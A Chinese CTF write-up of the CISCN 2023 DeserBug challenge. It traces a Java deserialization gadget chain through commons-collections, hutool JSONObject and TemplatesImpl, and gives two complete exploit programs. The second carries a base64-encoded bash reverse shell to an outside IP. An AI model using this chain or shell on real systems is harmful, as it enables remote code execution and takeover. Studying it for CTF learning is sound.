虽说题目不是很难,但是由于java题目做的还不是很多不太熟悉,而且java基础不牢,导致一些点让我思考了很久,这里记录一下

DeserBug题目

jadx反编译源码

image-20241015163331429

Testapp这里,直接根目录传一个bugstr参数,然后将内容base64解码后反序列化

Myexpect是一个异常类,没看出有什么特别的地方

然后题目附件还给了两个包commons-collections-3.2.2.jar,hutool-all-5.8.18.jar

image-20241015163239379

特意给了一个3.2.2是为什么呢,查了一下commons-collections从3.2.2版本开始尝试序列化或反序列化InvokerTransformer类都会抛出UnsupportedOperationException异常

且该版本在一些危险的Transformer实现类的readObject前加上了FunctorUtils#checkUnsafeSerialization来检测反序列化是否安全。

然后没什么思路了,去看wp当时题目还给了两个提示

  1. cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
  2. jdk8u202(这个本地测试没什么影响)

我就说那个特地写的Myexpect类怎么会没用(

估计这中间就是给了一段链子的提示不用自己挖

我们现在就根据提示去看一下他的方法,这里本地工程导入他给的jar包来看

看到com.app.Myexpect#getAnyexcept

image-20241015163448121

这里有个newInstance,应该就是最后要执行的地方,就可以用到TemplatesImpl的链子

emmm Hutool没找出来利用链,打了个cc3试了一下

image-20241015163503477

InstantiateTransformer这个类也用不了,不会了看wp了

wp文章:https://blog.csdn.net/uuzeray/article/details/136748656

看了之后发现其实是有点合理猜测的思路在里面,并没有完全调试,这也是和java的特性有关

去看JSONObject

image-20241015163529771

可以知道他是一个map,他的put方法就相当于是map.put

那put方法又该怎么样调用呢,我们的lazyMap#get是可以调用put方法的

image-20241015163539460

如果key不存在他就会调用put方法,令我们的map为JSONObject即可,然后JSONObject因为是map,我们存入的value是object的话,他就会需要获取对象相关属性信息,那怎么获取,应该就是需要通过getter方法,所以就触发了我们的getAnyexcept方法

所以我们可以走cc5的BadAttributeValueExpException那条链子到lazyMap#get的那部分,然后再拼上JSONObject的那部分链子

最终链子如下

BadAttributeValueExpException#readObject --> TiedMapEntry#toString --> LazyMap#get --> JSONObject#put --> Myexpect#getAnyexcept --> 触发恶意类

开始出错

第一次自己写我是想直接将恶意类放到Myexpect上来触发的,但是他并不行,后来发现是我javassist写错了

第一次exp(但是远程不通,其实本地也通不了😅)

package org.clown.ciscn2023;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Map;

public class exp {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
Class aClass = clazz.toClass();


Myexpect myexpect = new Myexpect();
setValue(myexpect,"targetclass",aClass); //设置targetClass为恶意类
myexpect.setTypearg(new Object[]{});
myexpect.setTypeparam(new Class[]{});
JSONObject jsonObject = new JSONObject();
jsonObject.put("clown",myexpect);

//cc5部分
Map lazyMap = LazyMap.decorate(jsonObject, new ConstantTransformer("aaa"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射修改val属性
Class b= BadAttributeValueExpException.class;
Field val = b.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

//生成base64序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] byteArray = barr.toByteArray();
String encode = Base64.getEncoder().encodeToString(byteArray);
// System.out.println(encode);
System.out.println(URLEncoder.encode(encode));//一定要记得url编码不然打不通

// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArray);
// ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
}

现在就遇上一个非常奇怪的问题了,他现在在序列化的时候会弹计算器,反序列化的时候不会,但是当我在本地把序列化出来的字符串拿出来反序列化的时候他又能弹了再当我去打远程的时候他打不通,只回显一个

image-20241015163624227

后来又发现上面的的lazyMap也写错了,应该是这样

Map lazyMap = LazyMap.decorate(jsonObject, new ConstantTransformer(myexpect));

因为这样才能保证我们put进去的value是Myexpect类,因为ConstantTransformer这个类的transform返回的就是本身(太久没看cc链有点忘了

但还是通不了,会给我报错ClassNotFound的错误

我十分地不理解,理论上Myexpect能在反序列化执行newInstance,那我直接执行恶意类的newInstance不就好了,并不需要去再打cc3后面一整个部分,但是他就是不行,我也没找出来问题在哪

找到原因

哦cao调了半天,我去看了一下调用栈终于发现问题了

image-20241015163634114

image-20241015163641816

image-20241015163650638

还是基础不牢的原因啊😭

下面根据上面的图说一下我自己的理解,对java类加载又清晰了一些

首先执行newInstance的话需要走整个类加载的流程
然后会先去找全类名
因为没有这个类所以在ClassForName途中就会报错
而defineClass直接从字节码向jvm注册这个类直接跳过了前面的步骤
所以要执行TemplatesImpl的defineClass才行

下面写一下能通的exp吧,就是封装TrAXFilter来打TemplatesImpl

exp如下:

package org.clown.ciscn2023;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Map;

public class exp2 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzkuMTA3LjIxMy84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);


Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[] { Templates.class });
myexpect.setTypearg(new Object[] { templates });
JSONObject jsonObject = new JSONObject();
jsonObject.put("clown",myexpect);

//cc5部分
Map lazyMap = LazyMap.decorate(jsonObject, new ConstantTransformer(myexpect));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射修改val属性
Class b= BadAttributeValueExpException.class;
Field val = b.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

//生成base64序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] byteArray = barr.toByteArray();
String encode = Base64.getEncoder().encodeToString(byteArray);
// System.out.println(encode);
System.out.println(URLEncoder.encode(encode));//一定要记得url编码不然打不通
}
}

image-20241015163705024

image-20241015163713767